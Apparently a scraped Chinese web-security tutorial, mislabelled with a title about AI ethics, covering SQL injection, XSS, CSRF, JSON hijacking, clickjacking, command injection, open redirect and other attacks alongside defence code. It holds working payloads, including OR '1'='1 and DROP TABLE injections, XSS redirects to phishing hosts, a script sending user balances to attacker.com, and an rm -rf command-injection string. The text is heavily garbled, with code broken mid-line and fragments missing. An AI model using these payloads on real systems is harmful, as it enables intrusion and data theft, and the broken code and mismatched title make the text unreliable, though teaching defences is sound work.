AI伦理即基础设施:数据契约、训练正则与服务审计三阶落地
2026/5/23 23:16:18
'、;、or、--等),直接通过字符串拼接构造SQL语句。GET /api/user?id=1' OR '1'='1select id, username, password from t_user where id='${id}'select id, username, password from t_user where id='1' OR '1'='1'admin' --,密码任意填写select * from t_admin where username='${username}' and password='${password}'select * from t_admin where username='admin' --' and password='xxx'--注释密码校验逻辑,无需正确密码即可登录管理员账号。GET /api/delete?orderId=1; DROP TABLE t_user; --delete from t_order where id=${orderId}delete from t_order where id=1; DROP TABLE t_user; --| 防御措施 | 实操步骤(代码示例) |
|---|---|
| 参数化查询 | Java(PreparedStatement):javaString sql = "select * from t_user where id=?"; pstmt = conn.prepareStatement(sql);.setInt(1, Integer.parseInt(id)); // 自动转义特殊字符ResultSet rs = pstmt.executeQuery();<br>Node.js(Sequelize):<br>javascriptconst user = await User.findOne({ where: { id: id } }); // 内置参数化 |
| 输入字符过滤 | 编写过滤函数拦截非法字符:>```java String filterSql(String input) { (input == null) return “”; 过滤SQL关键字及特殊字符.replaceAll(“[';\-\+\/\(\)\[\]orANDUNIONDROP]”, “”);} |
| 敏感字段加密 | 密码使用BCrypt不可逆加密存储:javawd = “user123”; encryptedPwd = BCrypt.hashpw(rawPwd, BCrypt.gensalt()); // 加密后存储>// 校验:BCrypt.checkpw(rawPwd, encryptedPwd)``` |
constvalidateId=(value)=>/^\d+$/.test(value)||alert("ID仅允许输入数字");or、drop等SQL关键字,直接拦截。<、>、"等)转义,直接渲染页面。=x onerror="alert('请登录查看完整内容');window.location.href='https://fake-login.com'">document.getElementById('content').innerHTML = location.hash.slice(1);http://example.com/#document.body.innerHTML='1>网站维护,请点击<a href="https://fake-pay.com">备份数据</a></h1>'</script>| 防御措施 | 实操步骤(代码示例) |
|---|---|
| 输入转义 | 编写HTML转义函数: ```java>public static String escapeHtml(String input) { if (input == null) return “”; input = input.replaceAll(“&”, “&”); = input.replaceAll(" “<”);> input = input.replaceAll(“>”, “>”); input = input.replaceAll(“”“, “””); input = input.replaceAll(“'”, “'”); return input; }:接收参数后先转义再存储/渲染>String safeKey = escapeHtml(request.getParameter(“key”)); |
| HttpOnly Cookie | 禁止JS读取敏感Cookie:```java = new Cookie(“sessionId”, “abc123xyz”);.setHttpOnly(true); // 核心配置.setSecure(true); // 仅HTTPS传输(生产必配)cookie.setPath(“/”); response.addCookie(cookie); |
innerHTML渲染用户输入,改用textContent:// 危险:document.getElementById('content').innerHTML = userInput;// 安全:document.getElementById('content').textContent = userInput;npm audit扫描依赖,避免使用存在XSS漏洞的老旧组件;https://bank.example.com(Cookie有效);="https://bank.example.com/api/transfer" method="POST" id="csrfForm"> ="hidden" name="toAccount" value="attacker123"> name="amount" value="10000"> ('csrfForm').submit();| 防御措施 | 实操步骤(代码示例) |
|---|---|
| Anti-CSRF Token | 1. 页面加载时生成随机Token:javatransfer-page") String transferPage(HttpSession session, Model model) { String csrfToken = UUID.randomUUID().toString(); session.setAttribute(“csrfToken”, csrfToken);> model.addAttribute(“csrfToken”, csrfToken); // 传递给前端> return “transfer”; } 前端表单携带Token:<br>html>transfer" method=“POST”>=“hidden” name=“csrfToken” value=“${csrfToken}”> ">转账> 3. 后端校验Token:> javaPostMapping("/api/transfer")(@RequestParam String csrfToken, HttpSession session) { serverToken = (String) session.getAttribute("csrfToken");<br> if (!csrfToken.equals(serverToken)) { new RuntimeException("CSRF攻击:Token校验失败");<br> }> // 执行转账逻辑success";<br>}<br> |
| SameSite Cookie | 设置Cookie跨域限制:javaookie cookie = new Cookie("sessionId", "abc123");cookie.setSameSite("Strict"); // 仅同域请求携带Cookie.addCookie(cookie);<br> |
| 核心操作加验证码 | 转账、改密码等操作要求输入短信验证码/图形验证码,强制用户手动确认。 |
// 请求拦截器axios.interceptors.request.use(config=>{constcsrfToken=getCookie('csrfToken');// 读取非HttpOnly的Tokenif(csrfToken)config.headers['X-CSRF-Token']=csrfToken;returnconfig;});consthandleTransfer=()=>{if(!confirm(`确认向${toAccount}转账${amount}元?`))return;// 提交转账请求};GET /index.html请求;| 防御措施 | 实操步骤 |
|---|---|
| 部署CDN | 1. 接入Cloudflare/阿里云CDN,更改域名DNS指向CDN;. 开启“攻击模式”,自动过滤恶意请求; 静态资源(图片、JS、CSS)直接从CDN返回,减轻源服务器压力。 |
| 配置高防IP | 1. 购买阿里云/腾讯云高防IP,绑定源服务器; 2. 开启“SYN Flood防护”“HTTP Flood防护”,设置清洗阈值(如单IP每秒500次请求触发清洗)。 |
| Nginx限流 | 配置Nginx限制单IP请求频率: ```nginx>http { limit_req_zone $binary_remote_addr zone=one:10m rate=100r/s; server { listen 80;_name example.com; limit_req zone=one burst=10 nodelay; // 1秒最多100请求,缓存10个 limit_conn addr 20; // 单IP最大20个并发连接 }>} |
@ComponentpublicclassRedisLimiter{@AutowiredprivateStringRedisTemplateredisTemplate;// 接口限流:key=接口名,limit=每秒最大请求数publicbooleanlimit(Stringkey,intlimit){StringredisKey="limiter:"+key;Longcount=redisTemplate.opsForValue().increment(redisKey,1);if(count==1)redisTemplate.expire(redisKey,1,TimeUnit.SECONDS);returncount}// 接口使用@GetMapping("/api/core")publicStringcoreApi(){if(!redisLimiter.limit("coreApi",50)){return"请求过于频繁,请稍后再试";}// 业务逻辑return"success";}constthrottle=(fn,delay=1000)=>{letlastTime=0;return(...args)=>{constnow=Date.now();if(now-lastTime>=delay){lastTime=now;fn.apply(this,args);}};};// 按钮点击事件绑定节流consthandleClick=throttle(()=>{axios.get("/api/core");});www.bank-example.com→ 真实IP10.0.0.1(官方银行网站);www.bank-example.com→ 恶意IP203.0.113.10(钓鱼网站);C:\Windows\System32\drivers\etc\hosts):203.0.113.10 www.example.comwww.example.com时,直接解析到恶意IP,打开仿冒的登录页面;| 防御措施 | 实操步骤 |
|---|---|
| 配置多域名备份 | 1. 注册备用域名(如主域example.com,备用域example-cn.com); 主域被劫持时,通过官方渠道(微信公众号、短信)通知用户切换备用域;>3. 备用域绑定独立服务器,避免同时被劫持。 |
| 启用DNSSEC | 1. 在域名服务商(阿里云DNS、Cloudflare)开启DNSSEC功能; 2. 生成密钥对(公钥+私钥),将公钥提交至域名注册商;. 效果:DNS服务器会验证解析结果的数字签名,篡改后的解析会被拒绝。 |
| 定期检测DNS解析 | 1. 使用nslookup/dig工具定期校验解析结果:nslookup www.example.com # 查看当前解析IP.example.com @8.8.8.8 # 用谷歌DNS验证(对比是否一致)```发现异常时,立即联系域名服务商重置DNS配置。 |
// Spring Boot全局配置HSTS(强制浏览器用HTTPS访问)@ConfigurationpublicclassWebConfigimplementsWebMvcConfigurer{@OverridepublicvoidaddInterceptors(InterceptorRegistryregistry){registry.addInterceptor(newHandlerInterceptor(){@OverridepublicbooleanpreHandle(HttpServletRequestreq,HttpServletResponseresp,Objecthandler){// max-age=31536000:1年有效期,includeSubDomains:包含子域名resp.setHeader("Strict-Transport-Security","max-age=31536000; includeSubDomains");returntrue;}});}}223.5.5.5(阿里云DNS)或8.8.8.8(谷歌DNS);192.168.1.1),在DNS设置中配置可信地址。C:\Windows\System32\drivers\etc\hosts,删除非官方添加的解析记录;<script>标签加载JSON接口(浏览器允许跨域加载脚本)。>标签加载JSON后自动解析为JS对象,攻击者通过重写对象原型窃取数据。https://example.com/api/user/info,返回JSON:{"uid":123,"username":"test","balance":5000}> // 重写Object原型的setter,窃取balance字段 Object.prototype.__defineSetter__('balance', function(value) { // 将余额和UID发送到攻击者服务器 new Image().src = `https://attacker.com/steal?uid=${this.uid}&balance=${value}`; });</script>跨域加载目标网站JSON接口,浏览器自动解析为JS对象 --> example.com/api/user/info"></script></body>>| 防御措施 | 实操步骤(代码示例) |
|---|---|
| JSON添加安全前缀 | 1. 后端返回JSON时,添加while(1);前缀(阻止<script>标签解析):Java示例: java>@GetMapping("/api/user/info") String getUserInfo() {<br> UserInfo user = new UserInfo(123, "test", 5000);<br> String json = new ObjectMapper().writeValueAsString(user);> return "while(1);" + json; // 添加前缀<br>}<br>2. 前端解析时去除前缀:```javascript(“/api/user/info”).then(res => {> const safeJson = res.data.replace(“while(1);”, “”); // 去除前缀 const userInfo = JSON.parse(safeJson);>});3. 效果:恶意页面通过 <script>加载时,会因while(1);进入死循环,无法解析JSON。 |
| 校验Referer/Origin | 1. 后端拦截JSON接口,仅允许本站或可信域名访问: ```java>@GetMapping(“/api/user/info”) String getUserInfo(HttpServletRequest request) { String referer = request.getHeader(“Referer”); String origin = request.getHeader(“Origin”); // 校验Referer/Origin是否为可信域名(如example.com) if (referer == null |
>标签加载敏感JSON接口,统一使用AJAX/Fetch请求;https://social.example.com(会话有效);DOCTYPE html><html>> /* iframe透明,覆盖在虚假按钮上方 */ #targetIframe { position: absolute; top: 0; left: 0; width: 200px; height: 50px; opacity: 0.01; /* 透明不可见 */ z-index: 10; } /* 虚假按钮,诱导用户点击 */ #fakeBtn { position: absolute; top: 0; left: 0; width: 200px; height: 50px; background: #ff0000; color: white; font-size: 16px; line-height: 50px; text-align: center; }</style><body>id="fakeBtn">领取100元红包</div>嵌入目标网站的“关注”按钮页面 --> rame" src="https://social.example.com/follow?userId=attacker">>| 防御措施 | 实操步骤(代码示例) |
|---|---|
| 配置X-Frame-Options响应头 | 1. Spring Boot全局配置:java@ConfigurationConfig implements WebMvcConfigurer {Override addInterceptors(InterceptorRegistry registry) { registry.addInterceptor(new HandlerInterceptor() { @Override public boolean preHandle(HttpServletRequest req, HttpServletResponse resp, Object handler) {> // DENY:禁止任何网站iframe嵌入;SAMEORIGIN:仅允许本站嵌入 resp.setHeader("X-Frame-Options", "DENY");> return true;> } }); }<br>}>. Nginx配置:nginxserver { listen 80;> server_name example.com; X-Frame-Options DENY;<br>}> |
// 页面加载时执行if(self!==top){// 被iframe嵌入,跳转到自身域名(打破iframe)top.location.href=self.location.href;// 或隐藏页面内容document.body.style.display="none";alert("禁止通过iframe访问本站");}consthandleFollow=()=>{if(!confirm("确认关注该用户吗?"))return;// 执行关注逻辑};exec()、system()等函数执行系统命令,且直接拼接用户输入的参数。constexec=require('child_process').exec;app.get('/download-repo',(req,res)=>{constrepo=req.query.repo;// 用户输入的仓库地址// 直接拼接命令执行exec(`git clone${repo}/var/www/repos`,(err,stdout,stderr)=>{if(err)returnres.send("下载失败");res.send("下载成功");});});GET /download-repo?repo=https://github.com/xxx/xxx.git && rm -rf /var/www/* &&git clone https://github.com/xxx/xxx.git && rm -rf /var/www/* && /var/www/reposrm -rf /var/www/*删除网站根目录所有文件,导致服务瘫痪。| 防御措施 | 实操步骤(代码示例) |
|---|---|
| 避免直接拼接命令 | 使用参数化命令执行工具,禁止字符串拼接:.js示例(使用execFile,仅接收数组参数):javascriptFile = require('child_process').execFile;app.get('/download-repo', (req, res) => { const repo = req.query.repo; 参数以数组形式传入,自动转义特殊字符> execFile('git', ['clone', repo, '/var/www/repos'], (err, stdout, stderr) => { if (err) return res.send("下载失败");<br> res.send("下载成功");> });});<br>Java示例(使用 ProcessBuilder):```java>ProcessBuilder pb = new ProcessBuilder(“git”, “clone”, repo, “/var/www/repos”);>Process process = pb.start(); |
| 输入严格过滤 | 编写过滤函数,仅允许合法字符(如字母、数字、/、:、-):javascriptconst validateRepo = (repo) => { const reg = /^https?:\/\/[a-zA-Z0-9.-]+\/[a-zA-Z0-9_-]+\/[a-zA-Z0-9_-]+\.git$/;.test(repo);>};:validateRepo(repo)) {<br> return res.send("非法仓库地址");<br>} |
| 使用第三方转义库 | Node.js使用shell-escape库转义参数:```javascriptconst shellEscape = require(‘shell-escape’);>const cmd = git clone ${shellEscape([repo])} /var/www/repos;(cmd, (err, stdout, stderr) => { … }); |
| 最小权限运行 | Web应用进程以普通用户权限运行(如www-data),禁止root权限;限制命令执行目录的写入权限,避免恶意修改系统文件。 |
https://github.com/xxx/xxx.git),用正则拦截非法字符;redirect、url等参数执行跳转。redirect:https://example.com/login?redirect=/user/home;https://example.com/login?redirect=https://fake-login.com;https://fake-login.com(钓鱼网站);| 防御措施 | 实操步骤(代码示例) |
|---|---|
| 白名单校验 | 仅允许跳转到本站域名或可信域名,拒绝其他域名跳转: Java示例: ```java@GetMapping(“/login”) public String login(@RequestParam(required = false) String redirect, HttpSession session) { // 已登录,执行跳转session.getAttribute(“user”) != null) { // 白名单:仅允许本站域名和可信合作伙伴域名 allowDomains = Arrays.asList(“example.com”, “partner-example.com”); if (redirect != null && !redirect.isEmpty()) { // 解析跳转URL的域名 = getDomain(redirect); if (allowDomains.contains(domain) |
| 添加跳转Token | 1. 生成跳转Token并与URL绑定:>javaGetMapping("/get-redirect-url")RedirectUrl(HttpSession session) { targetUrl = "/user/home"; token = UUID.randomUUID().toString(); // 存储Token与目标URL的映射(有效期5分钟) session.setAttribute("redirect_token_" + token, targetUrl);<br> return "/login?redirect_token=" + token;<br>}>. 跳转时校验Token:@GetMapping(“/login”)(@RequestParam String redirect_token, HttpSession session) { String targetUrl = (String) session.getAttribute(“redirect_token_” + redirect_token); if (targetUrl != null) { session.removeAttribute(“redirect_token_” + redirect_token); // 一次性使用 return “redirect:” + targetUrl; } “redirect:/user/home”; }``` |
| 限制相对路径跳转 | 仅允许跳转至本站相对路径(如/user/home),禁止绝对路径(如https://xxx.com):>```java (redirect.startsWith(“http://”) |
javascriptconst handleRedirect = (redirectUrl) => {> if (redirectUrl.startsWith("http://") || redirectUrl.startsWith("https://")) { if (!confirm("即将跳转到外部网站,请注意安全!是否继续?")) {<br> return;<br> }> } window.location.href = redirectUrl;<br>};<br>fake、phish等关键词的URL,或直接拦截非白名单域名的跳转。123456、admin@123),尝试登录系统,获取账号控制权。| 防御措施 | 实操步骤(代码示例) |
|---|---|
| 限制登录尝试次数 | 1. Redis记录用户登录失败次数: ```java@PostMapping(“/login”) public String login(@RequestParam String username, @RequestParam String password, HttpSession session) {> String redisKey = “login_fail_” + username;Count = redisTemplate.opsForValue().get(redisKey); if (failCount != null && failCount >= 5) { return “登录失败次数过多,请10分钟后再试”; } 校验用户名密码 if (“admin”.equals(username) && “StrongPwd123!”.equals(password)) {> redisTemplate.delete(redisKey); // 登录成功,清除失败次数> session.setAttribute(“user”, username); return “redirect:/user/home”; } else { // 登录失败,累加次数,设置10分钟过期Template.opsForValue().increment(redisKey, 1); redisTemplate.expire(redisKey, 10, TimeUnit.MINUTES); “用户名或密码错误”; } } |
| 登录验证码 | 1. 失败3次后要求输入图形验证码:javafailCount != null && failCount >= 3) {<br> String captcha = request.getParameter("captcha"); String sessionCaptcha = (String) session.getAttribute("captcha"); if (!captcha.equalsIgnoreCase(sessionCaptcha)) {<br> return "验证码错误"; }<br>}>. 图形验证码生成(使用Kaptcha):```java>@BeanKaptcha getDefaultKaptcha() {> DefaultKaptcha captcha = new DefaultKaptcha(); Properties props = new Properties();.setProperty(“kaptcha.border”, “no”); props.setProperty(“kaptcha.textproducer.char.length”, “4”); config = new Config(props); captcha.setConfig(config);> return captcha; } |
| 强制强密码策略 | 注册/改密码时要求密码复杂度(字母+数字+特殊字符,长度≥8): const validatePassword = (pwd) => { const reg = /^(?=.[a-z])(?=.[A-Z])(?=.\d)(?=.[@! !%*?&])[A-Za-z\d@!!%*?&]{8,}$/; return reg.test(pwd) |
bash>curl -X TRACE https://example.com<br>>TRACE / HTTP/1.1 example.com sessionId=abc123xyz; uid=123<br>...<br>sessionId后,可冒充用户登录系统。| 防御措施 | 实操步骤 |
|---|---|
| 禁用TRACE方法 | 1. Nginx配置: ```nginx>server { listen 80; server_name example.com; 禁用TRACE、TRACK方法request_method ~* "TRACE |
>HTTP/1.1 500 Internal Server Errorcat/8.5.61<br>...<br>java.sql.SQLException: Access denied for user 'root'@'localhost' (using password: YES)<br>at com.mysql.jdbc.SQLError.createSQLException(SQLError.java:965)<br>at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:3976)<br>...| 防御措施 | 实操步骤 |
|---|---|
| 统一错误页面 | 1. Spring Boot配置生产环境错误页面:>yaml: prod:ception-if-no-handler-found: true web::appings: false:<br> error:<br> path: /errorabel:: false<br>2. 自定义错误页面(src/main/resources/public/error/500.html),不显示任何技术细节。 |
| 隐藏软件版本 | 1. Nginx配置:nginx http { server_tokens off; // 隐藏Nginx版本 }```Tomcat配置(conf/server.xml):` |
| 日志脱敏 | 日志中屏蔽敏感信息(手机号、身份证、密码): ```java>// 使用日志脱敏工具类 public class LogDesensitizer { // 手机号脱敏:1381234 String desensitizePhone(String phone) { if (phone == null) return “”; return phone.replaceAll(“(\d{3})\d{4}(\d{4})”, "$1$2"); }>}输出:.info(“用户登录:手机号={}”, LogDesensitizer.desensitizePhone(phone)); |
| 限制robots.txt | 编辑robots.txt,禁止搜索引擎抓取敏感路径:```: *allow: /admin/>Disallow: /api/ /config/ |
../、..\或其编码(如%2e%2e%2f),访问服务器未授权目录(如/etc/passwd、/root/.ssh),窃取敏感文件。../字符,直接拼接